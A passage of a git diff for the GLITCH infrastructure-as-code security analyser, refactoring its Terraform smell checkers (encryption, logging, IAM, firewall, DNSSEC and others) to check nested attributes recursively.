errors.append(Error('sec_access_control', attribute, file, repr(attribute))) + + for config in SecurityVisitor._ACCESS_CONTROL_CONFIGS: + if (attribute.name == config['attribute'] and element.type in config['au_type'] + and parent_name in config['parents'] and not attribute.has_variable + and attribute.value.lower() not in config['values'] + and config['values'] != [""]): + errors.append(Error('sec_access_control', attribute, file, repr(attribute))) + break + + for attr_child in attribute.keyvalues: + check_attribute(attr_child, attribute.name) + + for attribute in element.attributes: + check_attribute(attribute, "") - for config in SecurityVisitor._ACCESS_CONTROL_CONFIGS: - if (element.name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and not element.has_variable - and element.value.lower() not in config['values'] - and config['values'] != [""]): - errors.append(Error('sec_access_control', element, file, repr(element))) - break return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/authentication.py b/glitch/analysis/terraform/authentication.py index 5c1cc1f7..6a355899 100644 --- a/glitch/analysis/terraform/authentication.py +++ b/glitch/analysis/terraform/authentication.py @@ -8,6 +8,7 @@ class TerraformAuthentication(TerraformSmellChecker): def check(self, element, file: str, au_type = None, parent_name = ""): errors = [] + if isinstance(element, AtomicUnit): if (element.type == "resource.google_sql_database_instance"): errors += self.check_database_flags(element, file, 'sec_authentication', "contained database authentication", "off") @@ -25,21 +26,29 @@ def check(self, element, file: str, au_type = None, parent_name = ""): errors.append(Error('sec_authentication', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - elif isinstance(element, Attribute) or isinstance(element, Variable): - for item in SecurityVisitor._POLICY_KEYWORDS: - if item.lower() == element.name: - for config in SecurityVisitor._POLICY_AUTHENTICATION: - if au_type in config['au_type']: - expr = config['keyword'].lower() + "\s*" + config['value'].lower() - pattern = re.compile(rf"{expr}") - if not re.search(pattern, element.value): - errors.append(Error('sec_authentication', element, file, repr(element))) + def check_attribute(attribute: Attribute, parent_name: str): + for item in SecurityVisitor._POLICY_KEYWORDS: + if item.lower() == attribute.name: + for config in SecurityVisitor._POLICY_AUTHENTICATION: + if element.type in config['au_type']: + expr = config['keyword'].lower() + "\s*" + config['value'].lower() + pattern = re.compile(rf"{expr}") + if not re.search(pattern, attribute.value): + errors.append(Error('sec_authentication', attribute, file, repr(attribute))) + break + + for config in SecurityVisitor._AUTHENTICATION: + if (attribute.name == config['attribute'] and element.type in config['au_type'] + and parent_name in config['parents'] and not attribute.has_variable + and attribute.value.lower() not in config['values'] + and config['values'] != [""]): + errors.append(Error('sec_authentication', attribute, file, repr(attribute))) + break + + for attr_child in attribute.keyvalues: + check_attribute(attr_child, attribute.name) + + for attribute in element.attributes: + check_attribute(attribute, "") - for config in SecurityVisitor._AUTHENTICATION: - if (element.name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and not element.has_variable - and element.value.lower() not in config['values'] - and config['values'] != [""]): - errors.append(Error('sec_authentication', element, file, repr(element))) - break return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/dns_policy.py b/glitch/analysis/terraform/dns_policy.py index acd67d2e..d9229f33 100644 --- a/glitch/analysis/terraform/dns_policy.py +++ b/glitch/analysis/terraform/dns_policy.py @@ -1,11 +1,11 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformDnsWithoutDnssec(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._DNSSEC_CONFIGS: @@ -14,11 +14,19 @@ def check(self, element, file: str, au_type = None, parent_name = ""): errors.append(Error('sec_dnssec', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._DNSSEC_CONFIGS: - if (element.name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and not element.has_variable - and element.value.lower() not in config['values'] - and config['values'] != [""]): - return [Error('sec_dnssec', element, file, repr(element))] + def check_attribute(attribute: Attribute, parent_name: str): + for config in SecurityVisitor._DNSSEC_CONFIGS: + if (attribute.name == config['attribute'] and element.type in config['au_type'] + and parent_name in config['parents'] and not attribute.has_variable + and attribute.value.lower() not in config['values'] + and config['values'] != [""]): + errors.append(Error('sec_dnssec', attribute, file, repr(attribute))) + break + + for attr_child in attribute.keyvalues: + check_attribute(attr_child, attribute.name) + + for attribute in element.attributes: + check_attribute(attribute, "") + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/firewall_misconfig.py b/glitch/analysis/terraform/firewall_misconfig.py index 136357f7..02004dd3 100644 --- a/glitch/analysis/terraform/firewall_misconfig.py +++ b/glitch/analysis/terraform/firewall_misconfig.py @@ -1,11 +1,11 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformFirewallMisconfig(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._FIREWALL_CONFIGS: @@ -14,13 +14,22 @@ def check(self, element, file: str, au_type = None, parent_name = ""): errors.append(Error('sec_firewall_misconfig', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._FIREWALL_CONFIGS: - if (element.name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and element.value.lower() == ""): - return [Error('sec_firewall_misconfig', element, file, repr(element))] - elif ("any_not_empty" not in config['values'] and not element.has_variable and - element.value.lower() not in config['values']): - return [Error('sec_firewall_misconfig', element, file, repr(element))] + def check_attribute(attribute: Attribute, parent_name: str): + for config in SecurityVisitor._FIREWALL_CONFIGS: + if (attribute.name == config['attribute'] and element.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): + errors.append(Error('sec_firewall_misconfig', attribute, file, repr(attribute))) + break + elif ("any_not_empty" not in config['values'] and not attribute.has_variable and + attribute.value.lower() not in config['values']): + errors.append(Error('sec_firewall_misconfig', attribute, file, repr(attribute))) + break + + for attr_child in attribute.keyvalues: + check_attribute(attr_child, attribute.name) + + for attribute in element.attributes: + check_attribute(attribute, "") + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/http_without_tls.py b/glitch/analysis/terraform/http_without_tls.py index f61490d8..fe155b48 100644 --- a/glitch/analysis/terraform/http_without_tls.py +++ b/glitch/analysis/terraform/http_without_tls.py @@ -1,11 +1,11 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformHttpWithoutTls(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): if (element.type == "data.http"): @@ -34,10 +34,18 @@ def check(self, element, file: str, au_type = None, parent_name = ""): errors.append(Error('sec_https', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._HTTPS_CONFIGS: - if (element.name == config["attribute"] and au_type in config["au_type"] - and parent_name in config["parents"] and not element.has_variable - and element.value.lower() not in config["values"]): - return [Error('sec_https', element, file, repr(element))] + def check_attribute(attribute: Attribute, parent_name: str): + for config in SecurityVisitor._HTTPS_CONFIGS: + if (attribute.name == config["attribute"] and element.type in config["au_type"] + and parent_name in config["parents"] and not attribute.has_variable + and attribute.value.lower() not in config["values"]): + errors.append(Error('sec_https', attribute, file, repr(attribute))) + break + + for attr_child in attribute.keyvalues: + check_attribute(attr_child, attribute.name) + + for attribute in element.attributes: + check_attribute(attribute, "") + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/integrity_policy.py b/glitch/analysis/terraform/integrity_policy.py index 346723b9..4fa845dc 100644 --- a/glitch/analysis/terraform/integrity_policy.py +++ b/glitch/analysis/terraform/integrity_policy.py @@ -1,11 +1,11 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformIntegrityPolicy(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): for policy in SecurityVisitor._INTEGRITY_POLICY: @@ -13,10 +13,19 @@ def check(self, element, file: str, au_type = None, parent_name = ""): and not self.check_required_attribute(element.attributes, policy['parents'], policy['attribute'])): errors.append(Error('sec_integrity_policy', element, file, repr(element), f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) - elif isinstance(element, Attribute) or isinstance(element, Variable): - for policy in SecurityVisitor._INTEGRITY_POLICY: - if (element.name == policy['attribute'] and au_type in policy['au_type'] - and parent_name in policy['parents'] and not element.has_variable - and element.value.lower() not in policy['values']): - return[Error('sec_integrity_policy', element, file, repr(element))] + + def check_attribute(attribute: Attribute, parent_name: str): + for policy in SecurityVisitor._INTEGRITY_POLICY: + if (attribute.name == policy['attribute'] and element.type in policy['au_type'] + and parent_name in policy['parents'] and not attribute.has_variable + and attribute.value.lower() not in policy['values']): + errors.append(Error('sec_integrity_policy', attribute, file, repr(attribute))) + break + + for attr_child in attribute.keyvalues: + check_attribute(attr_child, attribute.name) + + for attribute in element.attributes: + check_attribute(attribute, "") + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/key_management.py b/glitch/analysis/terraform/key_management.py index af65c005..a6e86d0e 100644 --- a/glitch/analysis/terraform/key_management.py +++ b/glitch/analysis/terraform/key_management.py @@ -2,11 +2,11 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformKeyManagement(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.azurerm_storage_account"): @@ -23,28 +23,35 @@ def check(self, element, file: str, au_type = None, parent_name = ""): errors.append(Error('sec_key_management', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._KEY_MANAGEMENT: - if (element.name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and element.value.lower() == ""): - errors.append(Error('sec_key_management', element, file, repr(element))) - break - elif ("any_not_empty" not in config['values'] and not element.has_variable and - element.value.lower() not in config['values']): - errors.append(Error('sec_key_management', element, file, repr(element))) - break + def check_attribute(attribute: Attribute, parent_name: str): + for config in SecurityVisitor._KEY_MANAGEMENT: + if (attribute.name == config['attribute'] and element.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): + errors.append(Error('sec_key_management', attribute, file, repr(attribute))) + break + elif ("any_not_empty" not in config['values'] and not attribute.has_variable and + attribute.value.lower() not in config['values']): + errors.append(Error('sec_key_management', attribute, file, repr(attribute))) + break + + if (attribute.name == "rotation_period" and element.type == "resource.google_kms_crypto_key"): + expr1 = r'\d+\.\d{0,9}s' + expr2 = r'\d+s' + if (re.search(expr1, attribute.value) or re.search(expr2, attribute.value)): + if (int(attribute.value.split("s")[0]) > 7776000): + errors.append(Error('sec_key_management', attribute, file, repr(attribute))) + else: + errors.append(Error('sec_key_management', attribute, file, repr(attribute))) + elif (attribute.name == "kms_master_key_id" and ((element.type == "resource.aws_sqs_queue" + and attribute.value == "alias/aws/sqs") or (element.type == "resource.aws_sns_queue" + and attribute.value == "alias/aws/sns"))): + errors.append(Error('sec_key_management', attribute, file, repr(attribute))) - if (element.name == "rotation_period" and au_type == "resource.google_kms_crypto_key"): - expr1 = r'\d+\.\d{0,9}s' - expr2 = r'\d+s' - if (re.search(expr1, element.value) or re.search(expr2, element.value)): - if (int(element.value.split("s")[0]) > 7776000): - errors.append(Error('sec_key_management', element, file, repr(element))) - else: - errors.append(Error('sec_key_management', element, file, repr(element))) - elif (element.name == "kms_master_key_id" and ((au_type == "resource.aws_sqs_queue" - and element.value == "alias/aws/sqs") or (au_type == "resource.aws_sns_queue" - and element.value == "alias/aws/sns"))): - errors.append(Error('sec_key_management', element, file, repr(element))) + for attr_child in attribute.keyvalues: + check_attribute(attr_child, attribute.name) + + for attribute in element.attributes: + check_attribute(attribute, "") + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/logging.py b/glitch/analysis/terraform/logging.py index 473cf187..6cf46209 100644 --- a/glitch/analysis/terraform/logging.py +++ b/glitch/analysis/terraform/logging.py @@ -4,7 +4,7 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformLogging(TerraformSmellChecker): @@ -108,7 +108,7 @@ def check_azurerm_storage_container(self, element, file: str): return errors - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_eks_cluster"): @@ -226,37 +226,44 @@ def check(self, element, file: str, au_type = None, parent_name = ""): and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): errors.append(Error('sec_logging', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - - elif isinstance(element, Attribute) or isinstance(element, Variable): - if (element.name == "cloud_watch_logs_group_arn" and au_type == "resource.aws_cloudtrail"): - if re.match(r"^\${aws_cloudwatch_log_group\..", element.value): - aws_cloudwatch_log_group_name = element.value.split('.')[1] - if not self.get_au(file, aws_cloudwatch_log_group_name, "resource.aws_cloudwatch_log_group"): - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required resource 'aws_cloudwatch_log_group' " + - f"with name '{aws_cloudwatch_log_group_name}'.")) - else: - errors.append(Error('sec_logging', element, file, repr(element))) - elif (((element.name == "retention_in_days" and parent_name == "" - and au_type in ["resource.azurerm_mssql_database_extended_auditing_policy", - "resource.azurerm_mssql_server_extended_auditing_policy"]) - or (element.name == "days" and parent_name == "retention_policy" - and au_type == "resource.azurerm_network_watcher_flow_log")) - and ((not element.value.isnumeric()) or (element.value.isnumeric() and int(element.value) < 90))): - errors.append(Error('sec_logging', element, file, repr(element))) - elif (element.name == "days" and parent_name == "retention_policy" - and au_type == "resource.azurerm_monitor_log_profile" - and (not element.value.isnumeric() or (element.value.isnumeric() and int(element.value) < 365))): - errors.append(Error('sec_logging', element, file, repr(element))) + + def check_attribute(attribute: Attribute, parent_name: str): + if (attribute.name == "cloud_watch_logs_group_arn" and element.type == "resource.aws_cloudtrail"): + if re.match(r"^\${aws_cloudwatch_log_group\..", attribute.value): + aws_cloudwatch_log_group_name = attribute.value.split('.')[1] + if not self.get_au(file, aws_cloudwatch_log_group_name, "resource.aws_cloudwatch_log_group"): + errors.append(Error('sec_logging', attribute, file, repr(attribute), + f"Suggestion: check for a required resource 'aws_cloudwatch_log_group' " + + f"with name '{aws_cloudwatch_log_group_name}'.")) + else: + errors.append(Error('sec_logging', attribute, file, repr(attribute))) + elif (((attribute.name == "retention_in_days" and parent_name == "" + and element.type in ["resource.azurerm_mssql_database_extended_auditing_policy", + "resource.azurerm_mssql_server_extended_auditing_policy"]) + or (attribute.name == "days" and parent_name == "retention_policy" + and element.type == "resource.azurerm_network_watcher_flow_log")) + and ((not attribute.value.isnumeric()) or (attribute.value.isnumeric() and int(attribute.value) < 90))): + errors.append(Error('sec_logging', attribute, file, repr(attribute))) + elif (attribute.name == "days" and parent_name == "retention_policy" + and element.type == "resource.azurerm_monitor_log_profile" + and (not attribute.value.isnumeric() or (attribute.value.isnumeric() and int(attribute.value) < 365))): + errors.append(Error('sec_logging', attribute, file, repr(attribute))) + + for config in SecurityVisitor._LOGGING: + if (attribute.name == config['attribute'] and element.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): + errors.append(Error('sec_logging', attribute, file, repr(attribute))) + break + elif ("any_not_empty" not in config['values'] and not attribute.has_variable and + attribute.value.lower() not in config['values']): + errors.append(Error('sec_logging', attribute, file, repr(attribute))) + break + + for attr_child in attribute.keyvalues: + check_attribute(attr_child, attribute.name) + + for attr in element.attributes: + check_attribute(attr, "") - for config in SecurityVisitor._LOGGING: - if (element.name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and element.value.lower() == ""): - errors.append(Error('sec_logging', element, file, repr(element))) - break - elif ("any_not_empty" not in config['values'] and not element.has_variable and - element.value.lower() not in config['values']): - errors.append(Error('sec_logging', element, file, repr(element))) - break return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/missing_encryption.py b/glitch/analysis/terraform/missing_encryption.py index 15b9bb1e..3051c68b 100644 --- a/glitch/analysis/terraform/missing_encryption.py +++ b/glitch/analysis/terraform/missing_encryption.py @@ -2,11 +2,11 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformMissingEncryption(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_s3_bucket"): @@ -59,28 +59,34 @@ def check(self, element, file: str, au_type = None, parent_name = ""): errors.append(Error('sec_missing_encryption', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._MISSING_ENCRYPTION: - if (element.name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and element.value.lower() == ""): - errors.append(Error('sec_missing_encryption', element, file, repr(element))) - break - elif ("any_not_empty" not in config['values'] and not element.has_variable - and element.value.lower() not in config['values']): - errors.append(Error('sec_missing_encryption', element, file, repr(element))) - break + def check_attribute(attribute: Attribute, parent_name: str): + for config in SecurityVisitor._MISSING_ENCRYPTION: + if (attribute.name == config['attribute'] and element.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): + errors.append(Error('sec_missing_encryption', attribute, file, repr(attribute))) + break + elif ("any_not_empty" not in config['values'] and not attribute.has_variable + and attribute.value.lower() not in config['values']): + errors.append(Error('sec_missing_encryption', attribute, file, repr(attribute))) + break + for item in SecurityVisitor._CONFIGURATION_KEYWORDS: + if item.lower() == attribute.name: + for config in SecurityVisitor._ENCRYPT_CONFIG: + if element.type in config['au_type']: + expr = config['keyword'].lower() + "\s*" + config['value'].lower() + pattern = re.compile(rf"{expr}") + if not re.search(pattern, attribute.value) and config['required'] == "yes": + errors.append(Error('sec_missing_encryption', attribute, file, repr(attribute))) + break + elif re.search(pattern, attribute.value) and config['required'] == "must_not_exist": + errors.append(Error('sec_missing_encryption', attribute, file, repr(attribute))) + break + + for attr_child in attribute.keyvalues: + check_attribute(attr_child, attribute.name) - for item in SecurityVisitor._CONFIGURATION_KEYWORDS: - if item.lower() == element.name: - for config in SecurityVisitor._ENCRYPT_CONFIG: - if au_type in config['au_type']: - expr = config['keyword'].lower() + "\s*" + config['value'].lower() - pattern = re.compile(rf"{expr}") - if not re.search(pattern, element.value) and config['required'] == "yes": - errors.append(Error('sec_missing_encryption', element, file, repr(element))) - break - elif re.search(pattern, element.value) and config['required'] == "must_not_exist": - errors.append(Error('sec_missing_encryption', element, file, repr(element))) - break + for attribute in element.attributes: + check_attribute(attribute, "") + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/naming.py b/glitch/analysis/terraform/naming.py index e48297fc..b4becc68 100644 --- a/glitch/analysis/terraform/naming.py +++ b/glitch/analysis/terraform/naming.py @@ -2,11 +2,11 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformNaming(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_security_group"): @@ -34,20 +34,27 @@ def check(self, element, file: str, au_type = None, parent_name = ""): errors.append(Error('sec_naming', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - elif isinstance(element, Attribute) or isinstance(element, Variable): - if (element.name == "name" and au_type in ["resource.azurerm_storage_account"]): - pattern = r'^[a-z0-9]{3,24}$' - if not re.match(pattern, element.value): - errors.append(Error('sec_naming', element, file, repr(element))) + def check_attribute(attribute: Attribute, parent_name: str): + if (attribute.name == "name" and element.type in ["resource.azurerm_storage_account"]): + pattern = r'^[a-z0-9]{3,24}$' + if not re.match(pattern, attribute.value): + errors.append(Error('sec_naming', attribute, file, repr(attribute))) - for config in SecurityVisitor._NAMING: - if (element.name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ("any_not_empty" in config['values'] and element.value.lower() == ""): - errors.append(Error('sec_naming', element, file, repr(element))) - break - elif ("any_not_empty" not in config['values'] and not element.has_variable and - element.value.lower() not in config['values']): - errors.append(Error('sec_naming', element, file, repr(element))) - break + for config in SecurityVisitor._NAMING: + if (attribute.name == config['attribute'] and element.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and attribute.value.lower() == ""): + errors.append(Error('sec_naming', attribute, file, repr(attribute))) + break + elif ("any_not_empty" not in config['values'] and not attribute.has_variable and + attribute.value.lower() not in config['values']): + errors.append(Error('sec_naming', attribute, file, repr(attribute))) + break + + for child in attribute.keyvalues: + check_attribute(child, attribute.name) + + for attribute in element.attributes: + check_attribute(attribute, "") + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/network_policy.py b/glitch/analysis/terraform/network_policy.py index 0d0b0edc..b7195b35 100644 --- a/glitch/analysis/terraform/network_policy.py +++ b/glitch/analysis/terraform/network_policy.py @@ -2,11 +2,11 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformNetworkSecurityRules(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.azurerm_network_security_rule"): @@ -49,10 +49,18 @@ def check(self, element, file: str, au_type = None, parent_name = ""): errors.append(Error('sec_network_security_rules', element, file, repr(element), f"Suggestion: check for a required attribute with name '{rule['msg']}'.")) - elif isinstance(element, Attribute) or isinstance(element, Variable): - for rule in SecurityVisitor._NETWORK_SECURITY_RULES: - if (element.name == rule['attribute'] and au_type in rule['au_type'] and parent_name in rule['parents'] - and not element.has_variable and element.value.lower() not in rule['values'] and rule['values'] != [""]): - return [Error('sec_network_security_rules', element, file, repr(element))] + def check_attribute(attribute: Attribute, parent_name: str): + for rule in SecurityVisitor._NETWORK_SECURITY_RULES: + if (attribute.name == rule['attribute'] and element.type in rule['au_type'] and parent_name in rule['parents'] + and not attribute.has_variable and attribute.value is not None and + attribute.value.lower() not in rule['values'] and rule['values'] != [""]): + errors.append(Error('sec_network_security_rules', attribute, file, repr(attribute))) + break + + for child in attribute.keyvalues: + check_attribute(child, attribute.name) + + for attribute in element.attributes: + check_attribute(attribute, "") return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/permission_iam_policies.py b/glitch/analysis/terraform/permission_iam_policies.py index 3402efcf..e4285e1d 100644 --- a/glitch/analysis/terraform/permission_iam_policies.py +++ b/glitch/analysis/terraform/permission_iam_policies.py @@ -2,11 +2,11 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformPermissionIAMPolicies(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_iam_user"): @@ -17,19 +17,26 @@ def check(self, element, file: str, au_type = None, parent_name = ""): a = self.check_required_attribute(assoc_au.attributes, [""], "user", None, pattern) errors.append(Error('sec_permission_iam_policies', a, file, repr(a))) - elif isinstance(element, Attribute) or isinstance(element, Variable): - if ((element.name == "member" or element.name.split('[')[0] == "members") - and au_type in SecurityVisitor._GOOGLE_IAM_MEMBER - and (re.search(r".-compute@developer.gserviceaccount.com", element.value) or - re.search(r".@appspot.gserviceaccount.com", element.value) or - re.search(r"user:", element.value))): - errors.append(Error('sec_permission_iam_policies', element, file, repr(element))) + def check_attribute(attribute: Attribute, parent_name: str): + if ((attribute.name == "member" or attribute.name.split('[')[0] == "members") + and element.type in SecurityVisitor._GOOGLE_IAM_MEMBER + and (re.search(r".-compute@developer.gserviceaccount.com", attribute.value) or + re.search(r".@appspot.gserviceaccount.com", attribute.value) or + re.search(r"user:", attribute.value))): + errors.append(Error('sec_permission_iam_policies', attribute, file, repr(attribute))) + + for config in SecurityVisitor._PERMISSION_IAM_POLICIES: + if (attribute.name == config['attribute'] and element.type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ((config['logic'] == "equal" and not attribute.has_variable and attribute.value.lower() not in config['values']) + or (config['logic'] == "diff" and attribute.value.lower() in config['values'])): + errors.append(Error('sec_permission_iam_policies', attribute, file, repr(attribute))) + break + + for child in attribute.keyvalues: + check_attribute(child, attribute.name) + + for attribute in element.attributes: + check_attribute(attribute, "") - for config in SecurityVisitor._PERMISSION_IAM_POLICIES: - if (element.name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""]): - if ((config['logic'] == "equal" and not element.has_variable and element.value.lower() not in config['values']) - or (config['logic'] == "diff" and element.value.lower() in config['values'])): - errors.append(Error('sec_permission_iam_policies', element, file, repr(element))) - break return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/public_ip.py b/glitch/analysis/terraform/public_ip.py index 1e64554a..503a8ac8 100644 --- a/glitch/analysis/terraform/public_ip.py +++ b/glitch/analysis/terraform/public_ip.py @@ -1,11 +1,11 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformPublicIp(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): for config in SecurityVisitor._PUBLIC_IP_CONFIGS: @@ -18,11 +18,18 @@ def check(self, element, file: str, au_type = None, parent_name = ""): if a is not None: errors.append(Error('sec_public_ip', a, file, repr(a))) - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._PUBLIC_IP_CONFIGS: - if (element.name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and not element.has_variable - and element.value.lower() not in config['values'] - and config['values'] != [""]): - return [Error('sec_public_ip', element, file, repr(element))] + def check_attribute(attribute: Attribute, parent_name: str): + for config in SecurityVisitor._PUBLIC_IP_CONFIGS: + if (attribute.name == config['attribute'] and element.type in config['au_type'] + and parent_name in config['parents'] and not attribute.has_variable and attribute.value is not None and + attribute.value.lower() not in config['values'] and config['values'] != [""]): + errors.append(Error('sec_public_ip', attribute, file, repr(attribute))) + break + + for child in attribute.keyvalues: + check_attribute(child, attribute.name) + + for attribute in element.attributes: + check_attribute(attribute, "") + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/replication.py b/glitch/analysis/terraform/replication.py index 8570c4b2..b5a7aa30 100644 --- a/glitch/analysis/terraform/replication.py +++ b/glitch/analysis/terraform/replication.py @@ -2,11 +2,11 @@ from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor -from glitch.repr.inter import AtomicUnit, Attribute, Variable +from glitch.repr.inter import AtomicUnit, Attribute class TerraformReplication(TerraformSmellChecker): - def check(self, element, file: str, au_type = None, parent_name = ""): + def check(self, element, file: str): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_s3_bucket"): @@ -24,10 +24,18 @@ def check(self, element, file: str, au_type = None, parent_name = ""): errors.append(Error('sec_replication', element, file, repr(element), f"Suggestion: check for a required attribute with name '{config['msg']}'.")) - elif isinstance(element, Attribute) or isinstance(element, Variable): - for config in SecurityVisitor._REPLICATION: - if (element.name == config['attribute'] and au_type in config['au_type'] - and parent_name in config['parents'] and config['values'] != [""] - and not element.has_variable and element.value.lower() not in config['values']): - return [Error('sec_replication', element, file, repr(element))] + def check_attribute(attribute: Attribute, 